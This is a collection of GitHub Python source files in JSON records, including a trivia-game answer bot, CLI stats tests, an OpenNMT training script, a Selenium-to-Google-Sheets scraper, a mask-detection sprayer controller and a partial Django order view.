{"seq_id":"73113610339","text":"import asyncio\nimport datetime\nimport json\nimport logging\nimport operator\nimport time\nimport re\nimport socket\n\nimport websockets\nfrom unidecode import unidecode\n\nfrom herobrain import networking\nfrom herobrain.analysis import QuestionAnalyser\n\n\nclass GameHandler:\n    MORE_LOGS = False\n\n    def __init__(self, socket_addr, headers, interface):\n        self._log = logging.getLogger(GameHandler.__name__)\n        self._log.info(\"Initialising on %s\" % socket_addr)\n\n        self._socket_addr = socket_addr\n        self._socket_headers = headers\n    \n        self._interface = interface\n        self._event_loop = asyncio.get_event_loop()\n    \n    async def _on_new_round(self, question, choices, number, num_questions):\n        start_time = time.time()\n        self._interface.report_question(question, choices, number, num_questions)\n\n        analyser = QuestionAnalyser(question, choices)\n        self._interface.report_analysis(analyser.get_analysis(), number)\n\n        # Find the probability of answers\n        answers, analysis = await analyser.find_answers()\n        speed = round(time.time() - start_time, 2)\n        \n        self._interface.report_prediction(number, answers, speed, analysis)\n    \n    async def _on_round_complete(self, answer_counts, correct_answer, eliminated, advancing):\n        self._interface.report_round_end(answer_counts, correct_answer, eliminated, advancing)\n\n    async def _handle_event(self, message):\n        # New question\n        if message[\"type\"] == \"question\":\n            # decode the question\n            question_str = unidecode(message[\"question\"])\n            choices = [unidecode(ans[\"text\"]) for ans in message[\"answers\"]]\n\n            question_num = message['questionNumber']\n            num_questions = message['questionCount']\n\n            await self._on_new_round(question_str, choices, question_num, num_questions)\n        \n        # Round is over\n        elif message[\"type\"] == \"questionSummary\":    \n            answer_counts ={}\n            correct = \"\"\n            for answer in message[\"answerCounts\"]:\n                ans_str = unidecode(answer[\"answer\"])\n                answer_counts[ans_str] = answer[\"count\"]\n                if answer[\"correct\"]:\n                    correct = ans_str\n\n            advancing = message['advancingPlayersCount']\n            eliminated = message['eliminatedPlayersCount']\n\n            await self._on_round_complete(answer_counts, correct, eliminated, advancing)\n\n        elif message[\"type\"] == \"interaction\":\n            pass\n\n    def _is_ending_message(self, message):\n        return message[\"type\"] == \"broadcastEnded\" and \"reason\" not in message\n    \n    async def _keep_open(self, socket):\n        self._log.debug(\"Keeping socket open, pinging every 5 seconds\")\n        while True:\n            try:\n                await socket.ping()\n            except (websockets.ConnectionClosed, KeyboardInterrupt):\n                break\n            await asyncio.sleep(5)\n        self._log.debug(\"Ping loop ended\")\n\n    async def _game_connection(self):\n        self._log.debug(\"Starting game connection\")\n        async with websockets.connect(self._socket_addr, extra_headers=self._socket_headers) as socket:\n            asyncio.ensure_future(self._keep_open(socket))\n\n            async for msg in socket:\n                # We received a new message, remove any weird characters and\n                message_data = json.loads(re.sub(r\"[\\x00-\\x1f\\x7f-\\x9f]\", \"\", msg))\n\n                if GameHandler.MORE_LOGS:\n                    self._log.debug(str(message_data))\n\n                # Ah. Not good\n                if \"error\" in message_data and message_data[\"error\"] == \"Auth not valid\":\n                    self._log.debug(message_data)\n                    raise RuntimeError(\"Bad token\")\n\n                yield message_data\n\n    async def play(self):\n        try:\n            while True:\n                # Stay in this loop until\n                # we get a connection closed error\n                async for message in self._game_connection():\n                    if self._is_ending_message(message):\n                        self._log.info(f\"Game ending: {message}\")\n                        return\n                    # Don't stop receiving messages while we wait for the question to be answered\n                    # perform the analysis in another coroutine\n                    asyncio.ensure_future(self._handle_event(message))\n\n        except (websockets.ConnectionClosed, ConnectionResetError):\n            self._log.warning(\"%s closed unexpectedly\" % self._socket_addr)\n        except (ConnectionRefusedError, socket.gaierror) as e:\n            self._log.error(\"Could not connect to %s: %s\" % (self._socket_addr, e))\n","repo_name":"freshollie/herobrain","sub_path":"herobrain/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41115265334","text":"import os\nimport sqlite3\nimport urllib\nfrom unittest import mock\n\nimport pytest\nfrom yarl import URL\n\nfrom neuro_cli import __version__\nfrom neuro_cli.stats import (\n    NEURO_EVENT_CATEGORY,\n    SCHEMA,\n    add_usage,\n    delete_oldest,\n    ensure_schema,\n    make_record,\n    select_oldest,\n)\n\n\n@pytest.fixture\ndef db() -> sqlite3.Connection:\n    db = sqlite3.connect(\":memory:\")\n    db.row_factory = sqlite3.Row\n    return db\n\n\ndef check_tables(db: sqlite3.Connection) -> None:\n    tables = {}\n\n    for name, sql in db.execute(\n        \"SELECT name, sql from sqlite_master WHERE type='table'\"\n    ):\n        tables[name] = sql\n\n    assert tables == SCHEMA\n\n\ndef test_ensure_schema_empty(db: sqlite3.Connection) -> None:\n    ensure_schema(db)\n    check_tables(db)\n\n\ndef test_ensure_schema_invalid(db: sqlite3.Connection) -> None:\n    db.execute(\"CREATE TABLE stats (invalid INTEGER)\")\n    ensure_schema(db)\n    check_tables(db)\n\n\ndef test_add_usage(db: sqlite3.Connection) -> None:\n    ensure_schema(db)\n    add_usage(db, \"neuro run\", [{}, {\"-s\": \"cpu-small\", \"image\": None, \"cmd\": None}])\n    add_usage(\n        db,\n        \"neuro ps\",\n        [{}, {\"-s\": \"('failed', 'running')\", \"image\": None, \"cmd\": None}],\n    )\n    ret = list(db.execute(\"SELECT cmd, args, version FROM stats\"))\n    assert len(ret) == 2\n    assert dict(ret[0]) == {\n        \"cmd\": \"neuro run\",\n        \"args\": '[{}, {\"-s\": \"cpu-small\", \"image\": null, \"cmd\": null}]',\n        \"version\": __version__,\n    }\n    assert dict(ret[1]) == {\n        \"cmd\": \"neuro ps\",\n        \"args\": '[{}, {\"-s\": \"(\\'failed\\', \\'running\\')\", \"image\": null, \"cmd\": null}]',\n        \"version\": __version__,\n    }\n\n\ndef test_select_oldest(db: sqlite3.Connection) -> None:\n    ensure_schema(db)\n    add_usage(db, \"neuro run\", [{}, {\"-s\": \"cpu-small\", \"image\": None, \"cmd\": None}])\n    add_usage(\n        db,\n        \"neuro ps\",\n        [{}, {\"-s\": \"('failed', 'running')\", \"image\": None, \"cmd\": None}],\n    )\n    old = select_oldest(db, limit=1)\n    assert len(old) == 1\n    assert dict(old[0]) == {\n        \"rowid\": mock.ANY,\n        \"cmd\": \"neuro run\",\n        \"args\": '[{}, {\"-s\": \"cpu-small\", \"image\": null, \"cmd\": null}]',\n        \"timestamp\": mock.ANY,\n        \"version\": __version__,\n    }\n\n\ndef test_delete_oldest(db: sqlite3.Connection) -> None:\n    ensure_schema(db)\n    add_usage(db, \"neuro run\", [{}, {\"-s\": \"cpu-small\", \"image\": None, \"cmd\": None}])\n    add_usage(\n        db,\n        \"neuro ps\",\n        [{}, {\"-s\": \"('failed', 'running')\", \"image\": None, \"cmd\": None}],\n    )\n    old = select_oldest(db, limit=1)\n    delete_oldest(db, old)\n    ret = list(db.execute(\"SELECT cmd, args, version FROM stats\"))\n    assert len(ret) == 1\n    assert dict(ret[0]) == {\n        \"cmd\": \"neuro ps\",\n        \"args\": '[{}, {\"-s\": \"(\\'failed\\', \\'running\\')\", \"image\": null, \"cmd\": null}]',\n        \"version\": __version__,\n    }\n\n\ndef test_make_record_cli() -> None:\n    record = make_record(\n        uid=\"uid\",\n        url=URL(\"https://dev.neu.ro/api/v1\"),\n        cmd=\"cmd\",\n        args=\"args\",\n        version=\"version\",\n    )\n    parsed_record = urllib.parse.parse_qs(record)\n    assert parsed_record[\"ec\"] == [\"CLI\"]\n\n\ndef test_make_record_web_shell() -> None:\n    os.environ[NEURO_EVENT_CATEGORY] = \"WEB-CLI\"\n    record = make_record(\n        uid=\"uid\",\n        url=URL(\"https://dev.neu.ro/api/v1\"),\n        cmd=\"cmd\",\n        args=\"args\",\n        version=\"version\",\n    )\n    del os.environ[NEURO_EVENT_CATEGORY]\n    parsed_record = urllib.parse.parse_qs(record)\n    assert parsed_record[\"ec\"] == [\"WEB-CLI\"]\n","repo_name":"neuro-inc/neuro-cli","sub_path":"neuro-cli/tests/unit/test_stats.py","file_name":"test_stats.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"}
{"seq_id":"16402189683","text":"import math \nfrom sympy import *\nx=symbols('x')\n\ndef factorial(n):\n    M=1\n    F=1\n    while M<float(n):\n        M=M+1\n        F=F*M\n    return (F)\n    \nn=input('da el grado de la derivada')\nvalordex=input('dame un numero x')\n\nfun=(x**2-1)**float(n)\nderivada=diff(fun,x,n)\nlibres={\"x\":valordex}\nprint(eval(derivada,{},libres))\n\n#evaluar=diff(fun,x,n).subs(x,valordex)\n\n#polinomio=(1/(2**float(n)*factorial(n)))*evaluar\n\nprint(factorial(n))\nprint(derivada)\n#print(evaluar)\n \n#print(polinomio.evalf(x))\n\n","repo_name":"FisicaComputacionalOtono2018/20180914-clase-gausslegendre-israelgal","sub_path":"intentofallido.py","file_name":"intentofallido.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"46517694548","text":"\"\"\"Thanks PyTec team - FATEC - Jundiaí\"\"\"\nops = [1,2,3,4]\nop = int(input(\"\"\"Digite a operação: \n                    1 - Soma \n                    2 - Subtração \n                    3 - Divisão \n                    4 - Multiplicação  \n                    Operação : \"\"\"))\nif op not in ops:\n    print('Operacao invalida')\nelse:\n    n1 = float(input('Digite o primeiro valor: ')); n2 = float(input('Digite o segundo valor: '))\n\n\nclass Calc:\n    def __init__(self):\n        self.sum1 = n1 + n2\n        self.subt1 = n1 - n2\n        self.div1 = n1 %n2\n        self.mult1 = n1 * n2\ncalcular = Calc()\nif op == 1:\n    print('o Resultado da soma é: ', calcular.sum1)\nelif op == 2:\n    print('o Resultado da Subtração é: ', calcular.subt1)\nelif op == 3:\n    print('o Resultado é Divisão: ', calcular.div1)\nelse:\n    op == 4\n    print(\"o Resultado é Multiplicação: \", calcular.mult1)\n\n\n","repo_name":"CaioEuzebio/python3.7_Short_codes","sub_path":"minicalc.py","file_name":"minicalc.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35347297394","text":"#!/usr/bin/env python\n\nfrom __future__ import division\n\nimport os\nimport sys\nimport argparse\nimport torch\nimport torch.nn as nn\nfrom torch import cuda\n\nimport onmt\nimport onmt.Models\nimport onmt.ModelConstructor\nimport onmt.modules\nfrom onmt.Utils import aeq, use_gpu\nimport opts\n\nparser = argparse.ArgumentParser(\n    description='train.py',\n    formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n# opts.py\nopts.add_md_help_argument(parser)\nopts.model_opts(parser)\nopts.train_opts(parser)\n\nopt = parser.parse_args()\nif opt.word_vec_size != -1:\n    opt.src_word_vec_size = opt.word_vec_size\n    opt.tgt_word_vec_size = opt.word_vec_size\n\nif opt.layers != -1:\n    opt.enc_layers = opt.layers\n    opt.dec_layers = opt.layers\n\nopt.brnn = (opt.encoder_type == \"brnn\")\nif opt.seed > 0:\n    torch.manual_seed(opt.seed)\n\nif opt.rnn_type == \"SRU\" and not opt.gpuid:\n    raise AssertionError(\"Using SRU requires -gpuid set.\")\n\nif torch.cuda.is_available() and not opt.gpuid:\n    print(\"WARNING: You have a CUDA device, should run with -gpuid 0\")\n\nif opt.gpuid:\n    cuda.set_device(opt.gpuid[0])\n    if opt.seed > 0:\n        torch.cuda.manual_seed(opt.seed)\n\nif len(opt.gpuid) > 1:\n    sys.stderr.write(\"Sorry, multigpu isn't supported yet, coming soon!\\n\")\n    sys.exit(1)\n\n\n# Set up the Crayon logging server.\nif opt.exp_host != \"\":\n    from pycrayon import CrayonClient\n    cc = CrayonClient(hostname=opt.exp_host)\n\n    experiments = cc.get_experiment_names()\n    print(experiments)\n    if opt.exp in experiments:\n        cc.remove_experiment(opt.exp)\n    experiment = cc.create_experiment(opt.exp)\n\n\ndef report_func(epoch, batch, num_batches,\n                start_time, lr, report_stats):\n    \"\"\"\n    This is the user-defined batch-level traing progress\n    report function.\n\n    Args:\n        epoch(int): current epoch count.\n        batch(int): current batch count.\n        num_batches(int): total number of batches.\n        start_time(float): last report time.\n        lr(float): current learning rate.\n        report_stats(Statistics): old Statistics instance.\n    Returns:\n        report_stats(Statistics): updated Statistics instance.\n    \"\"\"\n    if batch % opt.report_every == -1 % opt.report_every:\n        report_stats.output(epoch, batch+1, num_batches, start_time)\n        if opt.exp_host:\n            report_stats.log(\"progress\", experiment, lr)\n        report_stats = onmt.Statistics()\n\n    return report_stats\n\n\ndef make_train_data_iter(train_data, opt):\n    \"\"\"\n    This returns user-defined train data iterator for the trainer\n    to iterate over during each train epoch. We implement simple\n    ordered iterator strategy here, but more sophisticated strategy\n    like curriculum learning is ok too.\n    \"\"\"\n    return onmt.IO.OrderedIterator(\n                dataset=train_data, batch_size=opt.batch_size,\n                device=opt.gpuid[0] if opt.gpuid else -1,\n                repeat=False)\n\n\ndef make_valid_data_iter(valid_data, opt):\n    \"\"\"\n    This returns user-defined validate data iterator for the trainer\n    to iterate over during each validate epoch. We implement simple\n    ordered iterator strategy here, but more sophisticated strategy\n    is ok too.\n    \"\"\"\n    return onmt.IO.OrderedIterator(\n                dataset=valid_data, batch_size=opt.batch_size,\n                device=opt.gpuid[0] if opt.gpuid else -1,\n                train=False, sort=True)\n\n\ndef make_loss_compute(model, tgt_vocab, dataset, opt):\n    \"\"\"\n    This returns user-defined LossCompute object, which is used to\n    compute loss in train/validate process. You can implement your\n    own *LossCompute class, by subclassing LossComputeBase.\n    \"\"\"\n    if opt.copy_attn:\n        compute = onmt.modules.CopyGeneratorLossCompute(\n            model.generator, tgt_vocab, dataset, opt.copy_attn_force)\n    else:\n        compute = onmt.Loss.NMTLossCompute(model.generator, tgt_vocab)\n\n    if use_gpu(opt):\n        compute.cuda()\n\n    return compute\n\n\ndef train_model(model, train_data, valid_data, fields, optim):\n\n    min_ppl, max_accuracy = float('inf'), -1\n\n    train_iter = make_train_data_iter(train_data, opt)\n    valid_iter = make_valid_data_iter(valid_data, opt)\n\n    train_loss = make_loss_compute(model, fields[\"tgt\"].vocab,\n                                   train_data, opt)\n    valid_loss = make_loss_compute(model, fields[\"tgt\"].vocab,\n                                   valid_data, opt)\n\n    trunc_size = opt.truncated_decoder  # Badly named...\n    shard_size = opt.max_generator_batches\n\n    trainer = onmt.Trainer(model, train_iter, valid_iter,\n                           train_loss, valid_loss, optim,\n                           trunc_size, shard_size)\n\n    for epoch in range(opt.start_epoch, opt.epochs + 1):\n        print('')\n\n        # 1. Train for one epoch on the training set.\n        train_stats = trainer.train(epoch, report_func)\n        print('Train perplexity: %g' % train_stats.ppl())\n        print('Train accuracy: %g' % train_stats.accuracy())\n\n        # 2. Validate on the validation set.\n        valid_stats = trainer.validate()\n        print('Validation perplexity: %g' % valid_stats.ppl())\n        print('Validation accuracy: %g' % valid_stats.accuracy())\n\n        # 3. Log to remote server.\n        if opt.exp_host:\n            train_stats.log(\"train\", experiment, optim.lr)\n            valid_stats.log(\"valid\", experiment, optim.lr)\n\n        # 4. Update the learning rate\n        trainer.epoch_step(valid_stats.ppl(), epoch)\n\n        # 5. Drop a checkpoint if needed.\n        if epoch >= opt.start_checkpoint_at:\n            if valid_stats.accuracy() > max_accuracy:\n                # 5.1 drop checkpoint when bigger accuracy is achieved.\n                min_ppl = min(valid_stats.ppl(), min_ppl)\n                max_accuracy = max(valid_stats.accuracy(), max_accuracy)\n                trainer.drop_checkpoint(opt, epoch, fields, valid_stats)\n                print('Save model according to biggest-ever accuracy: acc: {0}, ppl: {1}'.format(max_accuracy, min_ppl))\n\n            elif valid_stats.ppl() < min_ppl:\n                # 5.2 drop checkpoint when smaller ppl is achieved.\n                min_ppl = min(valid_stats.ppl(), min_ppl)\n                max_accuracy = max(valid_stats.accuracy(), max_accuracy)\n                trainer.drop_checkpoint(opt, epoch, fields, valid_stats)\n                print('Save model according to lowest-ever ppl: acc: {0}, ppl: {1}'.format(max_accuracy, min_ppl))\n\n\ndef check_save_model_path():\n    save_model_path = os.path.abspath(opt.save_model)\n    model_dirname = os.path.dirname(save_model_path)\n    if not os.path.exists(model_dirname):\n        os.makedirs(model_dirname)\n\n\ndef tally_parameters(model):\n    n_params = sum([p.nelement() for p in model.parameters()])\n    print('* number of parameters: %d' % n_params)\n    enc = 0\n    dec = 0\n    for name, param in model.named_parameters():\n        if 'encoder' in name:\n            enc += param.nelement()\n        elif 'decoder' or 'generator' in name:\n            dec += param.nelement()\n    print('encoder: ', enc)\n    print('decoder: ', dec)\n\n\ndef load_fields(train, valid, checkpoint):\n    fields = onmt.IO.load_fields(\n                torch.load(opt.data + '.vocab.pt'))\n    fields = dict([(k, f) for (k, f) in fields.items()\n                  if k in train.examples[0].__dict__])\n    train.fields = fields\n    valid.fields = fields\n\n    if opt.train_from:\n        print('Loading vocab from checkpoint at %s.' % opt.train_from)\n        fields = onmt.IO.load_fields(checkpoint['vocab'])\n\n    print(' * vocabulary size. source = %d; target = %d' %\n          (len(fields['src'].vocab), len(fields['tgt'].vocab)))\n\n    return fields\n\n\ndef collect_features(train, fields):\n    # TODO: account for target features.\n    # Also, why does fields need to have the structure it does?\n    src_features = onmt.IO.collect_features(fields)\n    aeq(len(src_features), train.n_src_feats)\n\n    return src_features\n\n\ndef build_model(model_opt, opt, fields, checkpoint):\n    print('Building model...')\n    model = onmt.ModelConstructor.make_base_model(model_opt, fields,\n                                                  use_gpu(opt), checkpoint)\n    if len(opt.gpuid) > 1:\n        print('Multi gpu training: ', opt.gpuid)\n        model = nn.DataParallel(model, device_ids=opt.gpuid, dim=1)\n    print(model)\n\n    return model\n\n\ndef build_optim(model, checkpoint):\n    if opt.train_from:\n        print('Loading optimizer from checkpoint.')\n        optim = checkpoint['optim']\n        optim.optimizer.load_state_dict(\n            checkpoint['optim'].optimizer.state_dict())\n    else:\n        # what members of opt does Optim need?\n        optim = onmt.Optim(\n            opt.optim, opt.learning_rate, opt.max_grad_norm,\n            lr_decay=opt.learning_rate_decay,\n            start_decay_at=opt.start_decay_at,\n            opt=opt\n        )\n\n    optim.set_parameters(model.parameters())\n\n    return optim\n\n\ndef main():\n\n    # Load train and validate data.\n    print(\"Loading train and validate data from '%s'\" % opt.data)\n    train = torch.load(opt.data + '.train.pt')\n    valid = torch.load(opt.data + '.valid.pt')\n    print(' * number of training sentences: %d' % len(train))\n    print(' * maximum batch size: %d' % opt.batch_size)\n\n    # Load checkpoint if we resume from a previous training.\n    if opt.train_from:\n        print('Loading checkpoint from %s' % opt.train_from)\n        checkpoint = torch.load(opt.train_from,\n                                map_location=lambda storage, loc: storage)\n        model_opt = checkpoint['opt']\n        # I don't like reassigning attributes of opt: it's not clear\n        opt.start_epoch = checkpoint['epoch'] + 1\n    else:\n        checkpoint = None\n        model_opt = opt\n\n    # Load fields generated from preprocess phase.\n    fields = load_fields(train, valid, checkpoint)\n\n    # Collect features.\n    src_features = collect_features(train, fields)\n    for j, feat in enumerate(src_features):\n        print(' * src feature %d size = %d' % (j, len(fields[feat].vocab)))\n\n    # Build model.\n    model = build_model(model_opt, opt, fields, checkpoint)\n    tally_parameters(model)\n    check_save_model_path()\n\n    # Build optimizer.\n    optim = build_optim(model, checkpoint)\n\n    # Do training.\n    train_model(model, train, valid, fields, optim)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"AtmaHou/Seq2SeqDataAugmentationForLU","sub_path":"OpenNMT/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10352,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"35"}
{"seq_id":"29607916204","text":"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun  7 22:29:22 2023\n\n@author: User\n\"\"\"\n# extract website\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom bs4 import BeautifulSoup\n\n# google sheet\nimport gspread\nfrom google.oauth2.service_account import Credentials\n\n#----------------------------------------------------------------------\n# read the search result to google sheets by spreadsheet api\ndef readSheet():\n    scope = ['https://www.googleapis.com/auth/spreadsheets', 'https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/drive.file']\n    \n    credentials= Credentials.from_service_account_file(\"secret_credential.json\", scopes=scope)\n    client = gspread.authorize(credentials)\n    sh = client.open(title='EU_tour')#,folder_id='1CCJ6d-P381whToCFP6V9rb_mkI84GuHIF6z5rqWAzzg') #error--------------\n    wks= sh.worksheet(\"法國\")\n    \n    urls=[]\n    for i in range(7,52):\n        urls.append(wks.cell(i,2).value)\n\n    return urls\n    \n\n# save the search result to google sheets by spreadsheet api\ndef saveToSheet(data):\n    scope = ['https://www.googleapis.com/auth/spreadsheets', 'https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/drive.file']\n    \n    credentials= Credentials.from_service_account_file(\"secret_credential.json\", scopes=scope)\n    client = gspread.authorize(credentials)\n    sh = client.open(title='EU_tour')#,folder_id='1CCJ6d-P381whToCFP6V9rb_mkI84GuHIF6z5rqWAzzg') #error--------------\n    wks= sh.worksheet(\"法國\")\n\n    for each in data:\n        wks.insert_row(each,index=7)\n    #print(wks.get_values())\n    \n#----------------------------------------------------------------------    \n# search by google search engine(Chrome) and extract the search result \ndef specified():\n    # Configure Selenium\n    driver_path = \"/chromedriver_win32/chromedriver.exe\" # Path to your ChromeDriver executable\n    service = Service(driver_path)  \n    options = Options()\n    options.headless = True  # Run the browser in headless mode (without GUI)\n    driver = webdriver.Chrome(service=service, options=options)\n\n    \n\n    urls=readSheet()\n    \n    #txt=[]\n    for i in range(5,12):        \n        # extract the content of the website\n        driver.get(f\"{urls[i]}\")\n        soup = BeautifulSoup(driver.page_source, 'html.parser')\n       \n        print(urls[i])\n        #HTML tags\n        for i in range(1,7):\n            if soup.find(\"h\"+str(i)) != None:\n                print(\"\\n h\"+str(i)+\": \",soup.find(\"h\"+str(i)).get_text())\n        '''if soup.find(\"head\") != None:    \n            print(\"head: \",soup.find(\"head\").get_text())\n        if soup.find(\"body\") != None:\n            print(\"body: \",soup.find(\"body\").get_text())'''\n        if soup.find(\"p\") != None:\n            print(\"\\n p: \",soup.find(\"p\").get_text())\n        #print(\"ul: \",soup.find(\"ul\").get_text())\n        if soup.find(\"table\") != None:\n            print(\"\\n table: \",soup.find(\"table\").get_text())\n            \n        '''# Save data to text file\n        text_file = \"google_search_results.txt\"\n        with open(text_file, \"a\", encoding=\"utf-8\") as file:\n            file.writelines(txt)'''\n    \n    #save data to sheets\n    #saveToSheet(results_data)\n\n    # Close the browser\n    driver.quit()\n\ndef main():\n    specified()# Enter your desired search query\n    \nif __name__=='__main__':\n    main()","repo_name":"jerryboy1031/auto-search-onsheets-machine","sub_path":"specified.py","file_name":"specified.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"768124892","text":"from tensorflow.keras.models import load_model\nimport cv2\nimport numpy as np\nimport serial\nimport time\n\n# Connect to Arduino\nser = serial.Serial('COM3', 9600, timeout=1)\n\n# Load mask detector model\nmodel = load_model('saved_models/MobileNetModel.h5')\nSIZE = (224, 224)\n\n# Import face detector\nface_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n\n# Face detection function\ndef detect(frame):\n    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n    face_locations = face_cascade.detectMultiScale(gray, 1.3, 5)\n    out_locations = []\n    x_pos, y_pos, width, height = 0, 0, 0, 0\n    for face in face_locations:\n        x_pos, y_pos, width, height = face\n        out_locations.append((x_pos, y_pos, width, height))\n    return out_locations\n\n# Make sure sprayer is off\nser.write(b'L')\nprev_unmasked_flag = False\ncurr_unmasked_flag = False\n\n# Initialize model\ntest_pred = model.predict(np.random.random([1, SIZE[0], SIZE[1], 3]))\n\n# Start video capture\nvideo_capture = cv2.VideoCapture(0)\n\nwhile video_capture.isOpened():\n\n    # Capturues video_capture frame by frame\n    ret, frame = video_capture.read()\n    if not ret:\n        break\n\n    num_people = 0\n    # Get list of face positions [(x, y, w, h), ...]\n    faces = detect(frame)\n\n    # Initialize x, y, w, h\n    x, y, w, h = 0, 0, 0, 0\n    # If faces ARE detected:\n    if len(faces) > 0:\n        # For each face:\n        for face in faces:\n            x, y, w, h = face\n            roi = frame[y:y+h, x:x+w]\n            data = cv2.resize(roi, SIZE, interpolation=cv2.INTER_AREA)\n            data = data.astype('float')/255.0\n            data = np.reshape(data, [1, SIZE[0], SIZE[1], 3])\n            pred = model.predict(data) # [unmasked, masked]\n            masked_confidence = pred[0][1] # pred[0][0]\n            unmasked_confidence = pred[0][0] # 1 - masked_confidence\n            # If unmasked:\n            if unmasked_confidence > masked_confidence:\n                label = 'UNMASKED: {:.2%}'.format(unmasked_confidence)\n                color = (0, 0, 255) # (B, G, R)\n                curr_unmasked_flag = True\n            # If masked\n            else:\n                label = 'MASKED: {:.2%}'.format(masked_confidence)\n                color = (0, 255, 0)\n                curr_unmasked_flag = False\n            \n            # Draw a rectangle around each face\n            cv2.rectangle(frame, (x, y), (x + w, y + h), color, 2)\n            # Label confidence percentage\n            cv2.putText(frame, label, (x, y), cv2.FONT_HERSHEY_SIMPLEX, 1, color, 2)\n    # If faces AREN'T detected\n    else:\n        # Label 'No Face Found'\n        cv2.putText(frame, 'No Face Found', (20, 60), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255), 2)\n        curr_unmasked_flag = False\n\n    # Display the camera feed\n    cv2.imshow('MASK DETECTOR', frame)\n\n    # If changed to an unmasked face\n    if curr_unmasked_flag != prev_unmasked_flag and curr_unmasked_flag:\n        # Trigger relay to spray water\n        ser.write(b'H')\n        print('SPRAY')\n    # If changed to all masked\n    elif curr_unmasked_flag != prev_unmasked_flag and not curr_unmasked_flag:\n        # Turn off relay\n        ser.write(b'L')\n        print('STOP SPRAYING')\n    prev_unmasked_flag = curr_unmasked_flag\n\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n# Release the capture once all the processing is done\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"CChenalds17/MaskDetector","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37474331502","text":"def rev(n):\n    rev = []\n    for i in range(len(n)-1, -1, -1):\n        if (n[i] == 0):\n            rev.append(1)\n        elif (n[i] == 1):\n            rev.append(0)\n    return rev\n\ndef solution(n):\n    if(n == 1):\n        return [0]\n    \n    return solution(n-1) + [0] + rev(solution(n-1))\n\nfor i in range(5):\n    print(solution(i))\n\n'''\n1\t[0]\n2\t[0,0,1]\n3\t[0,0,1,0,0,1,1]\n'''","repo_name":"ujos89/1day1problem","sub_path":"programmers/algorithm/0525 종이접기.py","file_name":"0525 종이접기.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34156429101","text":"class Algorithm:\n    def __init__(self):\n        # fill your init vars\n        self.buffer_size = 0\n\n    # Intial\n    def Initial(self,model_name):\n        return None\n\n    def run(self, time, S_time_interval, S_send_data_size, S_chunk_len, S_rebuf, S_buffer_size, S_play_time_len,\n            S_end_delay, S_decision_flag, S_buffer_flag, S_cdn_flag, S_skip_time, end_of_video, cdn_newest_id,\n            download_id, cdn_has_frame, IntialVars,start_avgbw):\n        # record your params\n        self.buffer_size = S_buffer_size[-1]\n        bit_rate = 0\n        RESEVOIR = 0.5\n        CUSHION = 1.5\n\n        if S_buffer_size[-1] < RESEVOIR:\n            bit_rate = 0\n        elif S_buffer_size[-1] >= RESEVOIR + CUSHION and S_buffer_size[-1] < CUSHION + CUSHION:\n            bit_rate = 2\n        elif S_buffer_size[-1] >= CUSHION + CUSHION:\n            bit_rate = 3\n        else:\n            bit_rate = 1\n\n        target_buffer = 3\n        latency_limit = 3\n\n        return bit_rate, target_buffer,latency_limit\n\n","repo_name":"tianzhaotju/Deeplive","sub_path":"BBA.py","file_name":"BBA.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"3361007852","text":"from django.shortcuts import render\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom address.models import Address\nfrom shop.models import Product\nfrom cart.views import _cart_id\nfrom cart.models import CartItem, Cart\nfrom .models import Order, OrderItem\n\n\n# @login_required()\ndef order_create(request):\n    cart = Cart.objects.get(cart_id=_cart_id(request))\n    cart_items = CartItem.objects.filter(cart=cart)\n    address = Address.objects.get(\n        customer=request.user, address_type='billing')\n    customer = request.user\n    billing_address1 = address.billing_address1\n    billing_address2 = address.billing_address2\n    phone = address.phone\n    country = address.country\n    state = address.state\n    city = address.city\n    post_code = address.post_code\n\n    try:\n        order = Order.objects.create(billing_address1=billing_address1, customer=customer, billing_address2=billing_address2,\n                                     phone=phone, country=country, state=state, city=city, post_code=post_code)\n        order.save()\n# CHECK IF THERE IS A COUPON\n# CHANGE .save(commit=Fale)\n# THEN SAVE WITH COUPON\n        for order_item in cart_items:\n            oi = OrderItem.objects.create(\n                product=order_item.product,\n                price=order_item.product.price,\n                quantity=order_item.quantity,\n                order=order\n            )\n            oi.save()\n\n            products = Product.objects.get(id=order_item.product.id)\n            products.stock = int(\n                order_item.product.stock - order_item.quantity)\n            products.save()\n            order_item.delete()\n        request.session['order_id'] = order.id\n    except ObjectDoesNotExist:\n        pass\n\n    return render(request, 'orders/create.html', {'cart': cart, 'order_item': order_item, 'customer': 